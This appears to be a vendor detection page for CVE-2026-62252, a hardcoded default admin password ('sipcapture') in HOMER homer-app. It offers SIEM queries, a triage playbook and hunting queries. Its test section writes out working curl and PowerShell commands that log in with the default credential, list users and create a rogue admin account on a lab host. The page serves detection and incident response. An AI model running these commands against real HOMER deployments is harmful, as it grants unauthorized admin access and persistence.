Homer homer-app Hardcoded Default Admin Password 'sipcapture' (CVE-2026-62252)
Detects exploitation and exposure of CVE-2026-62252, a hardcoded default administrator credential in sipcapture/homer-app (HOMER VoIP/SIP capture platform). Versions prior to 0.0.0-20260625091610-b2e942031ff8 (release 11.0.283) ship a built-in admin account with the password 'sipcapture' and do not force a password change on first login, allowing unauthenticated attackers to authenticate as admin via the HOMER web UI/API. This detection surfaces successful or attempted logins using the default credential, admin logins from unexpected sources, and post-authentication abuse of the HOMER API.
Vulnerability Intelligence
Public PoCAffected Software
- Vendor
- go
- Product
- github.com/sipcapture/homer-app
- Versions
- < 0.0.0-20260625091610-b2e942031ff8
Weakness (CWE)
Timeline
- Disclosed
- October 7, 2026
References & Proof of Concept
- https://github.com/sipcapture/homer/security/advisories/GHSA-6xp5-7rcx-xfgx
- https://github.com/sipcapture/homer/pull/838
- https://github.com/sipcapture/homer/commit/b2e942031ff8cd7435a244ebef306ee97d16b809
- https://github.com/sipcapture/homer/releases/tag/11.0.283
- https://github.com/advisories/GHSA-6xp5-7rcx-xfgx
CVSS
What is CVE-2026-62252 Homer homer-app Hardcoded Default Admin Password 'sipcapture' (CVE-2026-62252)?
Homer homer-app Hardcoded Default Admin Password 'sipcapture' (CVE-2026-62252) (CVE-2026-62252) maps to the Initial Access and Privilege Escalation and Credential Access tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for Homer homer-app Hardcoded Default Admin Password 'sipcapture' (CVE-2026-62252), covering the data sources and telemetry it touches: IIS/Reverse-proxy Web Logs, Web Application Logs. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
// df00tech DF00-7193c1d790 · https://df00tech.com/detections/CVE-2026-62252 · licence: https://df00tech.com/detections/licence
let defaultUser = dynamic(["admin"]);
let homerPaths = dynamic(["/api/v3/auth", "/api/v3/login", "/api/v3/users"]);
W3CIISLog
| where csUriStem has_any (homerPaths) or csUriStem startswith "/api/v3/"
| where csMethod == "POST"
| where scStatus in ("200", "201")
| extend ClientIP = tostring(cIP)
| summarize AuthAttempts = count(), Paths = make_set(csUriStem, 20), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by ClientIP, sSiteName
| where AuthAttempts > 0
| project FirstSeen, LastSeen, ClientIP, sSiteName, AuthAttempts, Paths Flags successful POST requests against HOMER homer-app authentication and user-management API endpoints from IIS/reverse-proxy logs. Correlate source IPs authenticating to /api/v3/auth with the known default admin account; any admin session that originates from outside the trusted management subnet should be treated as default-credential abuse.
Data Sources
Required Tables
False Positives
- Legitimate administrators logging in to HOMER after the password has been rotated to a non-default value.
- Automated monitoring or health-check tooling polling the /api/v3 endpoints with valid service credentials.
- Load balancers or reverse proxies that re-originate client requests, making the ClientIP appear as the proxy address.
Query fingerprint DF00-7193c1d790 · licence
Sigma logsource & community rules
The detection logic for Homer homer-app Hardcoded Default Admin Password 'sipcapture' (CVE-2026-62252) (CVE-2026-62252) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: network_connection
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-62252
References (5)
- https://github.com/sipcapture/homer/security/advisories/GHSA-6xp5-7rcx-xfgx
- https://github.com/sipcapture/homer/pull/838
- https://github.com/sipcapture/homer/commit/b2e942031ff8cd7435a244ebef306ee97d16b809
- https://github.com/sipcapture/homer/releases/tag/11.0.283
- https://github.com/advisories/GHSA-6xp5-7rcx-xfgx
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Authenticate to HOMER with default admin credential
Expected signal: Web/proxy log entry: POST /api/v3/auth returning HTTP 200 with a JWT in the response body.
- Test 2 Enumerate HOMER users with default admin token
Expected signal: POST /api/v3/auth (200) followed shortly by GET /api/v3/users (200) from the same source IP.
- Test 3 Create rogue admin user via default credential (Windows client)
Expected signal: POST /api/v3/auth (200) and POST /api/v3/users (201) from the Windows client source IP.
Response Playbook
Triage
- Confirm the HOMER homer-app version in use (check go.mod / build metadata or the UI footer). Any version prior to 0.0.0-20260625091610-b2e942031ff8 / release 11.0.283 is vulnerable.
- Attempt to authenticate to the HOMER UI/API with admin / 'sipcapture' from a controlled host to verify whether the default credential is still active. If it succeeds, treat the instance as compromised until proven otherwise.
- Review web/proxy logs for the alerting source IP: determine whether admin authentication originated from the approved management subnet or from an untrusted/external network.
- Enumerate all successful /api/v3/auth and /api/v3/users calls in the alert window to identify session hijacking, new user creation, or privilege changes.
Containment
- Immediately rotate the HOMER admin password to a strong unique value and invalidate existing admin sessions/JWTs.
- Restrict network access to the HOMER web UI/API to the management subnet via firewall or reverse-proxy ACL until the instance is patched.
- If default-credential access from an untrusted source is confirmed, disable the affected admin account and isolate the HOMER host pending forensic review.
Evidence Collection
- Preserve HOMER application logs, web server/reverse-proxy access logs, and database audit records covering the suspected access window.
- Capture the homer-app configuration, user table (accounts, roles, creation timestamps), and any JWT/session store to document unauthorized accounts or changes.
Escalation Criteria
- ! Escalate to incident response if the default admin credential authenticated successfully from any source outside the approved management network.
- ! Escalate if post-authentication activity shows new/modified user accounts, configuration changes, or data export from the HOMER capture database.
Investigation Guide
Forensic Artifacts
- >
HOMER homer-app authentication/audit logs and JWT session records. - >
Web server / reverse-proxy access logs showing POST /api/v3/auth requests and their source IPs. - >
homer-app user table entries (account creation and role-change timestamps).
Tuning Guidance
Build an allowlist of approved management source IPs/subnets for HOMER administration and suppress matches originating from them once the default password has been confirmed rotated. If a reverse proxy fronts HOMER, ensure X-Forwarded-For is parsed so the true client IP is evaluated rather than the proxy address. Lower volume by scoping queries to the HOMER host(s) and the /api/v3/auth and /api/v3/users paths specifically.
Hunting Queries
Baselines which source IPs call the HOMER v3 auth/user API so analysts can spot admin authentication from outside the management network.
// df00tech DF00-7193c1d790 · https://df00tech.com/detections/CVE-2026-62252 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem startswith "/api/v3/" and csMethod == "POST" | summarize count() by cIP, csUriStem, bin(TimeGenerated, 1h) | order by count_ desc ``` df00tech DF00-7193c1d790 · https://df00tech.com/detections/CVE-2026-62252 · licence: https://df00tech.com/detections/licence ```
index=web uri_path="/api/v3/*" method=POST | stats count by src_ip, uri_path, status | sort - count Atomic Red Team Tests
Attempts to log in to a lab HOMER homer-app instance using the hardcoded default admin / 'sipcapture' credential and captures the returned auth token.
Command
curl -s -X POST http://homer.lab.local:9080/api/v3/auth -H 'Content-Type: application/json' -d '{"username":"admin","password":"sipcapture"}' Cleanup
unset HOMER_TOKEN 2>/dev/null; true Expected Telemetry
Web/proxy log entry: POST /api/v3/auth returning HTTP 200 with a JWT in the response body.
Expected Detection
KQL/SPL rules flag a successful POST to /api/v3/auth; manual correlation confirms the default credential was used.
Uses an auth token obtained via the default credential to list HOMER user accounts, demonstrating post-authentication access to sensitive data.
Command
TOKEN=$(curl -s -X POST http://homer.lab.local:9080/api/v3/auth -H 'Content-Type: application/json' -d '{"username":"admin","password":"sipcapture"}' | sed -n 's/.*"token":"\([^"]*\)".*/\1/p'); curl -s http://homer.lab.local:9080/api/v3/users -H "Authorization: Bearer $TOKEN" Cleanup
unset TOKEN 2>/dev/null; true Expected Telemetry
POST /api/v3/auth (200) followed shortly by GET /api/v3/users (200) from the same source IP.
Expected Detection
Detection surfaces the successful auth plus user-enumeration call from a single source; analyst flags non-management origin.
From a Windows host, authenticates with the default credential and attempts to create a new HOMER user, simulating attacker persistence.
Command
$b=@{username='admin';password='sipcapture'}|ConvertTo-Json; $t=(Invoke-RestMethod -Method Post -Uri 'http://homer.lab.local:9080/api/v3/auth' -ContentType 'application/json' -Body $b).token; $u=@{username='rogue';password='Lab-Only-123!';admin=$true}|ConvertTo-Json; Invoke-RestMethod -Method Post -Uri 'http://homer.lab.local:9080/api/v3/users' -Headers @{Authorization="Bearer $t"} -ContentType 'application/json' -Body $u Cleanup
Invoke-RestMethod -Method Delete -Uri 'http://homer.lab.local:9080/api/v3/users/rogue' -Headers @{Authorization="Bearer $t"} 2>$null Expected Telemetry
POST /api/v3/auth (200) and POST /api/v3/users (201) from the Windows client source IP.
Expected Detection
Detection fires on the successful auth and user-creation POST; new HOMER account appears in the user table audit.
Related Detections
Tactic Hubs
Related Techniques
Same Tactic: Initial Access
Blog posts about this detection
Browse by tactic
- Reconnaissance TA0043
- Resource Development TA0042
- Initial Access TA0001
- Execution TA0002
- Persistence TA0003
- Privilege Escalation TA0004
- Stealth TA0005
- Defense Impairment TA0112
- Credential Access TA0006
- Discovery TA0007
- Lateral Movement TA0008
- Collection TA0009
- Command and Control TA0011
- Exfiltration TA0010
- Impact TA0040